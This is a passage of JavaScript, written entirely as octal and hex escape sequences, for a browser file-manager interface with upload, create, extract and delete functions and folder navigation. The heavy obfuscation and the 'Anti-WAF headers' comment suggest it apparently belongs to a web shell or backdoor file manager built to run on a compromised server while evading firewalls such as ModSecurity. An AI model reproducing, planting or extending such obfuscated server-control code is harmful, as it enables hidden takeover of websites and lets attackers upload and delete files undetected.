\156\76\x60\40\72\x20\x27\47\x7d\15\xa\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\40\44\x7b\x21\x66\151\x6c\x65\x2e\x69\x73\x5f\x64\151\162\x20\x26\x26\x20\151\x73\x41\162\x63\150\x69\x76\145\40\x3f\40\140\x3c\142\165\x74\x74\x6f\x6e\40\143\x6c\x61\163\163\x3d\x22\141\143\x74\151\157\156\55\x62\164\x6e\42\x20\157\x6e\x63\x6c\151\143\x6b\75\42\x65\x78\164\x72\x61\x63\164\x46\151\154\x65\x28\x27\x24\x7b\145\x73\x63\141\x70\145\x48\164\x6d\x6c\x28\x66\151\154\145\x2e\x6e\x61\155\145\x29\x7d\47\51\42\76\105\170\x74\162\x61\143\164\x3c\x2f\142\x75\x74\x74\x6f\x6e\x3e\x60\x20\x3a\x20\47\x27\x7d\xd\12\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\40\40\40\40\x20\40\x20\x20\40\x20\x20\74\x62\165\164\x74\157\156\40\143\x6c\x61\163\163\x3d\x22\x61\x63\164\x69\157\156\x2d\142\164\x6e\42\x20\x6f\156\143\154\x69\x63\x6b\75\x22\x64\x65\154\145\164\x65\106\151\154\145\50\47\44\173\145\x73\143\x61\160\145\x48\x74\155\154\x28\x66\x69\x6c\x65\x2e\156\141\x6d\145\51\x7d\47\51\42\76\104\x65\x6c\145\164\145\74\57\142\x75\164\x74\x6f\x6e\76\15\12\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x3c\x2f\x74\x64\x3e\xd\12\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\140\73\xd\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x74\142\157\x64\x79\x2e\141\x70\x70\145\156\144\x43\x68\151\x6c\x64\50\164\162\51\x3b\15\12\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\x7d\51\x3b\xd\12\15\xa\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\144\157\143\165\155\145\x6e\164\56\x71\x75\x65\x72\171\x53\145\154\145\x63\x74\x6f\x72\x41\x6c\x6c\x28\47\56\x66\151\154\145\55\x63\x68\x65\x63\153\142\157\x78\x27\x29\56\x66\157\162\x45\x61\143\x68\x28\143\142\40\x3d\76\xd\12\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x63\142\56\x61\144\x64\x45\166\145\156\164\x4c\x69\x73\164\x65\156\x65\x72\50\47\143\150\x61\156\147\145\x27\x2c\40\x75\160\144\x61\x74\145\x53\145\154\145\143\x74\x65\x64\x49\164\x65\155\x73\51\15\xa\40\40\40\x20\40\40\x20\40\40\40\x20\x20\51\73\xd\xa\xd\xa\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x64\x6f\x63\165\x6d\x65\x6e\x74\x2e\161\165\145\x72\x79\x53\x65\x6c\145\x63\x74\x6f\x72\101\154\x6c\50\47\56\x66\x69\154\145\x2d\156\141\x6d\x65\47\x29\56\146\157\x72\x45\x61\143\150\50\154\x69\x6e\x6b\x20\75\x3e\x20\173\xd\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\40\40\154\151\156\x6b\x2e\x61\144\144\105\x76\x65\156\x74\x4c\x69\163\164\x65\156\145\162\x28\x27\x63\x6c\x69\x63\x6b\x27\54\40\146\165\x6e\x63\x74\151\157\x6e\40\x28\145\x29\x20\173\15\xa\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\145\56\160\x72\x65\x76\145\x6e\164\x44\145\x66\x61\165\x6c\164\50\51\x3b\xd\xa\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\143\157\x6e\163\x74\x20\156\x61\x6d\145\40\x3d\40\164\150\x69\x73\56\x67\145\164\101\164\164\162\x69\142\x75\164\x65\x28\47\144\141\x74\141\55\x6e\141\x6d\145\x27\51\x3b\xd\xa\x20\x20\40\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x63\157\156\x73\164\40\x69\163\x44\151\162\40\x3d\x20\x74\150\151\x73\56\x67\x65\x74\x41\x74\x74\x72\151\142\x75\164\x65\x28\x27\x64\141\x74\x61\x2d\x69\163\x64\x69\162\x27\51\x20\75\x3d\x3d\40\47\61\47\x20\x7c\x7c\x20\164\150\151\x73\56\x67\x65\164\x41\164\x74\162\x69\142\165\164\x65\50\x27\144\x61\x74\141\55\x69\x73\144\x69\x72\47\51\40\x3d\75\75\40\47\x74\x72\x75\145\47\73\15\xa\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x68\141\156\144\x6c\145\x46\151\154\x65\x43\154\151\143\x6b\x28\156\x61\155\145\54\40\x69\x73\104\151\x72\x29\x3b\15\12\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\x7d\x29\x3b\15\xa\40\x20\40\40\40\40\40\40\x20\40\40\x20\x7d\x29\x3b\xd\xa\40\40\x20\x20\40\40\40\40\175\xd\xa\xd\xa\40\40\x20\40\x20\40\x20\40\146\165\156\143\164\x69\157\156\x20\145\163\143\141\x70\145\110\164\x6d\154\x28\164\x65\170\x74\51\40\173\15\xa\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x63\157\156\x73\x74\40\x6d\141\160\x20\75\x20\173\x20\x27\x26\x27\72\x20\x27\46\x61\155\160\73\47\54\40\x27\74\x27\x3a\x20\x27\46\154\x74\73\x27\x2c\x20\x27\76\47\x3a\40\47\x26\147\164\73\x27\x2c\40\47\42\47\72\40\x27\x26\161\x75\157\x74\x3b\47\54\x20\42\47\42\x3a\x20\x27\x26\x23\60\63\71\x3b\x27\x20\x7d\x3b\xd\xa\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\162\x65\x74\x75\x72\156\40\x74\x65\x78\164\56\x72\145\160\x6c\x61\143\145\50\57\x5b\46\x3c\76\42\47\x5d\x2f\x67\x2c\40\x6d\40\x3d\x3e\40\x6d\x61\160\x5b\x6d\135\x29\73\xd\12\x20\x20\40\x20\x20\x20\40\40\x7d\xd\12\xd\xa\x20\x20\x20\40\40\40\40\40\x66\x75\x6e\x63\164\x69\x6f\156\40\150\x61\156\x64\x6c\x65\x46\x69\x6c\x65\103\x6c\x69\143\x6b\50\x6e\x61\155\145\x2c\40\x69\x73\104\151\162\51\x20\x7b\xd\xa\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x69\146\40\50\151\163\104\151\x72\x29\40\173\xd\xa\40\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\40\40\40\154\145\164\40\x62\x61\x73\145\x20\x3d\40\x63\165\x72\x72\145\x6e\x74\120\141\x74\x68\x20\174\174\40\x69\156\x69\164\151\x61\154\120\141\x74\x68\73\xd\xa\40\x20\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\40\142\x61\x73\145\40\x3d\x20\x62\x61\x73\145\x2e\x72\x65\x70\x6c\141\143\x65\x28\57\x5c\x5c\57\147\x2c\x20\47\x2f\47\x29\56\x72\x65\x70\154\x61\x63\x65\x28\x2f\134\57\x2b\44\57\54\40\47\47\x29\x3b\xd\12\40\40\x20\40\40\40\40\40\40\40\40\40\40\40\40\x20\154\x6f\141\144\x46\151\x6c\145\163\x28\x62\x61\163\x65\x20\53\40\x27\x2f\x27\x20\53\x20\x6e\141\155\145\51\x3b\15\12\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\175\x20\x65\x6c\163\145\40\x7b\xd\12\40\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\145\144\151\x74\106\x69\x6c\145\50\156\141\155\145\51\x3b\xd\xa\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x7d\xd\xa\40\x20\40\40\40\40\40\40\175\15\xa\15\12\x20\x20\40\40\40\x20\40\x20\x66\165\x6e\x63\164\x69\x6f\x6e\40\x67\x6f\x48\157\x6d\x65\x28\x29\x20\173\15\xa\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\154\157\141\144\x46\151\154\145\x73\x28\x69\156\x69\x74\x69\141\154\x50\141\164\150\x29\x3b\xd\xa\40\40\x20\x20\x20\40\x20\x20\175\15\xa\15\12\x20\x20\x20\40\x20\x20\x20\40\x66\x75\156\143\164\x69\x6f\x6e\40\x74\157\147\147\154\x65\x53\x65\x6c\x65\143\164\x41\x6c\154\x28\51\40\173\15\12\40\x20\x20\40\40\40\x20\x20\40\40\x20\x20\143\x6f\156\x73\x74\x20\x73\x65\154\145\143\164\101\x6c\154\40\75\x20\144\x6f\143\165\155\145\156\164\x2e\x67\145\164\x45\154\145\x6d\x65\x6e\x74\x42\171\x49\144\x28\x27\x73\x65\154\145\143\164\x41\x6c\154\x27\x29\x2e\x63\x68\x65\143\x6b\145\x64\73\15\xa\40\40\x20\x20\40\40\40\x20\40\40\x20\40\x64\x6f\x63\x75\x6d\145\156\164\x2e\161\x75\x65\x72\171\x53\145\x6c\x65\143\164\x6f\x72\x41\x6c\154\50\x27\x2e\x66\151\x6c\145\55\143\x68\145\x63\x6b\x62\x6f\170\x27\x29\56\x66\x6f\x72\x45\141\143\x68\50\x63\142\40\75\x3e\40\x63\142\56\x63\x68\x65\143\x6b\145\x64\x20\x3d\x20\x73\145\154\x65\x63\x74\x41\154\x6c\x29\x3b\15\12\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\165\x70\x64\x61\x74\x65\123\145\154\145\143\164\x65\x64\x49\x74\145\155\163\50\51\x3b\15\12\x20\x20\40\x20\x20\x20\40\x20\x7d\15\12\xd\xa\40\x20\x20\40\40\40\x20\x20\x66\165\x6e\143\x74\151\x6f\x6e\40\165\x70\144\x61\164\145\123\145\154\x65\x63\164\x65\x64\x49\x74\x65\x6d\163\x28\x29\40\173\15\12\40\40\40\40\x20\x20\40\40\40\40\40\x20\163\x65\x6c\145\143\164\x65\x64\x49\x74\x65\155\163\40\75\40\x41\x72\x72\x61\x79\56\x66\x72\x6f\x6d\50\x64\157\x63\165\x6d\145\x6e\x74\56\161\x75\x65\x72\171\123\145\154\x65\143\x74\157\x72\x41\x6c\x6c\x28\47\56\x66\x69\154\x65\x2d\x63\x68\145\143\x6b\x62\157\170\72\143\150\145\143\x6b\x65\144\x27\x29\51\56\155\141\x70\50\x63\142\40\x3d\x3e\40\143\142\56\166\x61\x6c\x75\145\51\x3b\xd\12\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\143\x6f\156\x73\x74\40\x68\141\163\40\75\x20\163\x65\x6c\x65\x63\164\145\144\x49\164\145\155\x73\56\154\145\156\147\164\150\x20\x3e\40\x30\x3b\15\xa\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x63\x6f\x6e\x73\164\x20\144\x65\x6c\102\x74\156\40\x3d\40\x64\157\x63\x75\x6d\x65\x6e\x74\x2e\x67\145\x74\105\154\145\155\x65\156\x74\x42\x79\x49\x64\x28\x27\144\x65\x6c\x65\x74\x65\x53\x65\x6c\x65\143\164\x65\x64\x27\x29\x3b\15\xa\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\143\x6f\x6e\163\x74\x20\144\154\102\x74\x6e\40\75\40\x64\157\143\165\x6d\x65\x6e\164\56\x67\145\x74\105\x6c\145\155\145\x6e\x74\102\171\111\144\50\x27\144\x6f\167\x6e\154\157\141\x64\x53\x65\154\x65\x63\164\x65\x64\x27\51\73\15\12\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x69\x66\x20\50\144\145\154\x42\164\x6e\x29\40\144\145\154\x42\x74\156\x2e\144\x69\x73\141\x62\154\x65\144\x20\75\40\x21\150\141\163\73\15\xa\x20\40\40\40\40\40\x20\x20\x20\x20\40\x20\x69\x66\x20\x28\144\x6c\x42\x74\x6e\x29\40\x64\x6c\x42\x74\x6e\x2e\x64\x69\x73\x61\142\x6c\x65\144\40\75\x20\x21\150\141\163\x3b\15\xa\x20\40\40\40\40\40\x20\x20\x7d\xd\12\15\xa\x20\40\40\40\x20\40\40\x20\x61\163\171\x6e\x63\40\146\x75\x6e\143\x74\151\157\x6e\x20\143\162\x65\x61\x74\145\x46\x6f\x6c\144\145\x72\x28\x29\x20\173\xd\xa\40\x20\40\40\40\40\40\40\x20\40\x20\40\x63\x6f\156\163\x74\40\156\141\x6d\145\40\x3d\x20\x64\x6f\143\x75\x6d\x65\x6e\x74\56\147\x65\x74\105\154\x65\155\145\x6e\164\x42\171\x49\x64\x28\x27\x66\x6f\154\144\x65\162\116\x61\x6d\145\47\x29\x2e\166\141\154\x75\145\x2e\x74\x72\x69\155\x28\51\x3b\xd\xa\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\151\146\40\x28\41\x6e\141\155\145\51\40\x72\145\164\x75\162\156\40\163\x68\x6f\x77\x54\x6f\141\x73\x74\x28\47\120\154\145\x61\x73\x65\40\145\x6e\x74\145\x72\x20\146\x6f\154\144\145\162\x20\x6e\x61\155\x65\x27\x2c\40\47\145\x72\162\157\x72\x27\51\x3b\xd\xa\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x63\x6f\x6e\x73\164\x20\162\145\x73\x20\75\40\x61\x77\x61\x69\164\40\141\x6a\x61\170\50\x27\143\x72\x65\141\x74\145\47\54\40\173\40\156\141\x6d\x65\x20\x7d\x29\73\15\xa\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\151\146\40\50\x72\145\x73\x20\46\x26\40\162\145\x73\56\163\165\x63\143\145\163\x73\x29\x20\x7b\15\12\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\163\x68\157\167\x54\x6f\141\163\x74\x28\47\106\157\x6c\x64\145\162\40\x63\x72\x65\x61\164\145\x64\40\163\x75\143\x63\145\x73\163\146\165\x6c\x6c\171\x27\51\x3b\15\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x63\x6c\157\x73\x65\115\157\144\x61\154\x28\x27\143\162\145\x61\164\x65\x4d\157\144\x61\154\x27\x29\73\15\12\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\40\154\157\x61\x64\106\151\154\145\163\50\143\165\x72\162\x65\156\164\120\141\164\x68\51\x3b\xd\12\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x7d\40\145\x6c\x73\145\40\x73\150\x6f\x77\x54\x6f\x61\163\164\50\x72\x65\163\x3f\56\155\x65\x73\163\x61\147\x65\40\174\x7c\x20\47\x46\x61\x69\154\145\x64\40\x74\157\x20\143\x72\145\x61\164\x65\40\x66\x6f\x6c\x64\x65\162\47\x2c\x20\x27\x65\x72\162\157\162\x27\51\73\xd\12\x20\40\x20\x20\40\40\x20\x20\175\15\xa\15\xa\x20\40\40\x20\40\x20\40\x20\141\163\x79\x6e\x63\x20\146\x75\156\x63\164\x69\x6f\x6e\40\143\162\x65\x61\164\x65\106\151\x6c\145\50\x29\x20\x7b\xd\12\40\40\40\40\x20\x20\x20\40\40\40\40\40\x63\157\156\163\164\x20\x6e\x61\x6d\x65\40\x3d\x20\144\x6f\x63\x75\155\x65\x6e\x74\56\x67\145\x74\105\154\x65\155\145\x6e\164\102\x79\111\144\50\x27\146\151\x6c\145\116\141\x6d\x65\47\x29\56\166\x61\x6c\x75\x65\x2e\164\x72\x69\x6d\x28\51\73\xd\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\151\x66\40\50\x21\156\141\x6d\145\x29\40\x72\145\164\x75\x72\x6e\x20\163\x68\x6f\167\124\x6f\x61\163\x74\50\47\120\x6c\145\x61\163\x65\x20\x65\156\x74\145\x72\x20\146\x69\154\145\40\156\141\155\x65\47\54\x20\x27\145\162\162\x6f\162\47\x29\73\15\xa\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x63\157\x6e\163\164\40\162\145\x73\40\75\x20\141\167\x61\x69\x74\40\x61\x6a\141\x78\x28\x27\x63\x72\145\141\164\145\x5f\x66\151\x6c\145\47\54\x20\x7b\40\156\x61\155\145\40\175\x29\x3b\15\xa\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\151\146\40\50\162\x65\x73\40\x26\x26\x20\x72\x65\x73\x2e\x73\x75\x63\x63\145\163\163\51\x20\173\xd\12\x20\40\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\163\x68\157\x77\x54\x6f\x61\163\x74\x28\x27\x46\x69\x6c\145\x20\143\x72\145\x61\x74\x65\x64\x20\x73\x75\x63\143\x65\x73\x73\x66\165\x6c\x6c\x79\x27\51\x3b\15\xa\40\x20\40\x20\40\40\40\40\40\40\40\x20\40\x20\40\40\143\x6c\157\x73\145\x4d\x6f\144\141\x6c\50\x27\143\x72\145\141\164\x65\106\x69\x6c\x65\x4d\157\x64\x61\x6c\x27\x29\x3b\15\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x6c\157\x61\144\106\151\154\145\163\x28\143\165\x72\x72\x65\156\x74\120\x61\x74\150\51\x3b\15\12\40\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x7d\40\x65\x6c\163\x65\x20\163\150\x6f\x77\x54\x6f\141\x73\x74\50\x72\145\163\77\56\x6d\x65\x73\x73\141\x67\x65\40\x7c\x7c\x20\47\106\x61\x69\x6c\145\x64\x20\164\157\40\x63\x72\145\141\x74\145\40\146\x69\154\x65\47\x2c\40\x27\145\162\x72\157\x72\47\51\x3b\xd\xa\40\40\x20\x20\40\x20\40\40\175\15\xa\15\12\40\x20\x20\x20\40\40\40\x20\x61\163\x79\156\143\40\146\x75\156\143\x74\151\157\x6e\x20\x75\x70\x6c\157\141\144\106\151\x6c\x65\163\x28\51\40\x7b\xd\xa\x20\40\40\40\x20\40\40\40\x20\40\x20\40\x63\157\156\x73\x74\40\151\x6e\160\x75\164\40\75\x20\144\x6f\143\x75\x6d\x65\x6e\x74\56\x67\145\x74\x45\x6c\145\155\145\x6e\x74\x42\x79\x49\144\50\47\x75\x70\x6c\157\x61\x64\x46\x69\154\x65\47\51\x3b\xd\12\40\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x63\x6f\x6e\x73\x74\x20\x66\151\x6c\145\x73\x20\x3d\x20\151\x6e\x70\165\x74\x2e\x66\x69\x6c\145\163\73\15\12\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\151\x66\40\50\x21\146\151\x6c\x65\x73\56\x6c\x65\156\x67\164\x68\51\x20\162\145\x74\165\x72\156\73\xd\12\xd\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x66\x6f\x72\40\x28\154\x65\x74\40\151\x20\75\40\x30\x3b\x20\151\x20\x3c\40\146\151\x6c\x65\x73\56\154\x65\156\x67\164\x68\x3b\40\151\53\53\51\x20\x7b\xd\12\40\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x63\157\x6e\x73\x74\x20\146\151\x6c\x65\40\75\40\146\151\x6c\145\163\133\151\x5d\x3b\xd\xa\xd\12\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x63\157\x6e\x73\x74\x20\146\x6f\x72\x6d\x44\x61\x74\x61\x20\75\x20\x6e\145\167\40\x46\157\x72\x6d\x44\141\x74\x61\x28\51\x3b\15\xa\x20\40\40\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\146\157\x72\155\104\141\x74\141\56\x61\160\160\x65\x6e\144\50\x27\141\x63\x74\151\x6f\x6e\47\x2c\40\47\x75\160\154\157\x61\144\47\x29\x3b\xd\12\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x66\x6f\x72\x6d\104\x61\164\141\56\x61\x70\x70\x65\156\x64\50\x27\x70\141\x74\150\x27\x2c\x20\143\x75\x72\x72\x65\x6e\x74\120\x61\x74\150\40\x7c\174\40\x69\156\x69\x74\x69\141\154\x50\141\x74\x68\x29\x3b\xd\12\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\146\157\162\x6d\104\x61\x74\x61\x2e\x61\160\160\145\x6e\144\50\47\x66\x69\154\x65\x27\54\40\x66\151\x6c\x65\x29\73\xd\xa\xd\xa\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\164\x72\x79\x20\x7b\15\12\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\40\40\x20\x63\157\x6e\x73\164\40\x72\x65\x73\160\157\156\163\x65\40\x3d\x20\141\x77\x61\151\x74\x20\x66\x65\164\x63\x68\50\47\77\47\x2c\x20\x7b\xd\xa\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\40\x6d\x65\164\150\x6f\144\72\40\47\x50\117\123\124\x27\x2c\15\xa\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\x62\157\144\171\x3a\x20\146\x6f\162\x6d\104\141\164\141\x2c\xd\12\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\57\57\40\x41\x6e\164\x69\55\x57\x41\x46\x20\x68\145\x61\144\145\162\x73\15\12\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\150\x65\x61\144\x65\x72\163\x3a\40\173\xd\xa\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\40\40\40\40\x20\x27\130\55\x52\145\x71\165\x65\163\x74\x65\144\55\x57\151\x74\150\x27\x3a\40\47\130\115\x4c\x48\164\164\160\x52\145\x71\x75\x65\x73\x74\47\xd\12\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x7d\xd\xa\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x7d\x29\x3b\15\12\xd\12\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x2f\57\40\103\x68\x65\x63\153\40\151\x66\40\162\145\x73\x70\157\156\x73\x65\x20\x69\x73\40\x61\x63\164\x75\x61\154\154\x79\40\x4a\x53\x4f\116\40\157\x72\x20\x48\124\x4d\114\x20\145\x72\x72\x6f\162\x20\x70\141\147\145\xd\xa\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x63\157\x6e\x73\x74\40\143\157\156\x74\145\156\x74\x54\x79\x70\x65\40\x3d\40\x72\x65\x73\x70\x6f\x6e\163\x65\x2e\x68\145\141\x64\145\162\x73\56\x67\145\x74\x28\x27\143\157\x6e\x74\x65\156\164\55\164\x79\x70\x65\47\x29\x3b\15\xa\xd\12\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x69\x66\x20\x28\x72\x65\x73\160\x6f\x6e\163\145\56\163\x74\x61\x74\165\x73\40\x3d\x3d\x3d\x20\x34\60\x33\x29\x20\x7b\xd\12\40\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x73\150\157\x77\x54\157\x61\163\x74\50\140\x55\160\x6c\x6f\141\x64\x20\142\x6c\157\143\x6b\145\x64\40\142\171\40\163\145\162\166\x65\162\40\x28\x34\x30\x33\x20\x46\157\162\x62\151\x64\x64\145\x6e\x29\40\x2d\x20\x24\x7b\x66\x69\x6c\x65\x2e\156\x61\x6d\145\x7d\x60\x2c\x20\47\145\x72\x72\157\162\x27\x29\x3b\xd\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x20\143\157\156\x73\x6f\x6c\145\56\x65\162\162\x6f\x72\x28\47\x34\x30\x33\x20\x45\162\162\x6f\x72\40\55\40\x57\x41\x46\x2f\115\x6f\144\x53\x65\x63\x75\162\x69\164\x79\x20\155\141\x79\40\x62\x65\x20\x62\x6c\x6f\x63\x6b\x69\156\147\x20\x75\x70\154\157\x61\144\163\47\x29\73\15\xa\40\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\143\x6f\x6e\164\151\156\x75\145\73\xd\xa\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\x7d\15\12\15\xa\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\151\146\x20\x28\162\x65\163\160\x6f\x6e\x73\145\x2e\x73\164\141\x74\x75\x73\40\76\75\40\x35\60\x30\x29\x20\x7b\xd\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x73\150\157\x77\x54\x6f\141\163\164\x28\x60\123\145\162\166\x65\x72\x20\x65\162\x72\x6f\x72\40\50\44\x7b\x72\x65\163\160\157\x6e\x73\x65\56\163\164\141\x74\165\163\x7d\51\x20\167\150\x69\154\x65\x20\x75\160\x6c\x6f\141\x64\151\x6e\x67\x20\x24\x7b\x66\x69\x6c\145\56\x6e\x61\155\x65\175\x60\54\40\47\x65\162\x72\157\x72\x27\51\73\15\12\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\143\x6f\x6e\x74\151\156\x75\145\73\15\xa\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\40\40\40\40\x20\40\40\x20\175\15\xa\xd\12\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\154\145\x74\40\162\x65\x73\165\x6c\x74\40\x3d\40\156\x75\154\154\x3b\xd\12\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\164\162\171\40\x7b\15\xa\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\143\157\x6e\163\164\x20\164\x65\x78\x74\40\75\40\141\x77\x61\151\164\40\162\145\x73\x70\x6f\x6e\x73\145\x2e\164\145\x78\x74\50\x29\x3b\xd\xa\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\162\145\163\165\x6c\164\x20\x3d\x20\112\x53\117\116\56\160\141\162\163\x65\x28\164\x65\x78\164\51\73\xd\xa\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\175\40\x63\x61\164\x63\x68\40\50\145\51\40\173\15\12\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\40\163\x68\157\x77\124\x6f\x61\x73\164\50\x60\125\x70\154\x6f\x61\x64\40\146\141\x69\154\x65\144\40\x28\x24\173\146\151\x6c\145\x2e\x6e\x61\x6d\145\175\x29\72\40\111\156\x76\x61\x6c\x69\x64\40\163\145\162\x76\145\x72\40\x72\145\x73\x70\157\156\163\x65\x2e\x20\103\x68\x65\143\153\40\120\x48\120\x20\145\x72\162\x6f\x72\x73\56\x60\54\x20\47\145\x72\x72\x6f\162\47\51\x3b\15\xa\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x63\157\x6e\x73\157\154\145\56\x65\x72\x72\157\162\50\x27\122\145\163\160\x6f\x6e\163\x65\x20\160\141\162\x73\x65\x20\145\162\162\157\162\72\x27\54\40\x65\51\73\xd\xa\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\x63\x6f\x6e\x74\x69\156\165\145\x3b\xd\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\175\15\xa\15\12\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\40\151\146\x20\x28\162\145\x73\165\154\x74\x20\x26\46\x20\162\145\x73\165\154\x74\x2e\x73\165\x63\x63\145\163\x73\51\40\173\15\12\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\x63\157\x6e\163\x74\40\x6d\145\164\x68\157\x64\40\x3d\x20\x72\x65\163\x75\x6c\x74\x2e\155\145\x74\150\x6f\x64\40\77\x20\x60\40\x28\x24\x7b\162\x65\163\165\154\164\56\155\x65\x74\x68\157\x64\175\51\140\x20\72\40\x27\x27\73\xd\xa\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\40\40\x20\40\x20\x20\x20\40\163\150\x6f\167\124\x6f\x61\163\x74\50\140\44\173\146\151\154\x65\56\x6e\x61\155\145\175\40\x75\x70\154\x6f\x61\144\145\x64\40\x73\x75\143\x63\145\x73\163\146\165\x6c\154\171\44\173\155\145\x74\150\x6f\x64\x7d\x60\51\x3b\15\12\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\40\x7d\40\x65\154\163\x65\40\173\15\12\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\154\145\x74\40\x65\x72\162\157\x72\115\x73\147\x20\75\40\162\145\163\x75\154\x74\x3f\56\x6d\145\x73\163\x61\x67\x65\x20\174\174\x20\47\x55\x6e\153\x6e\x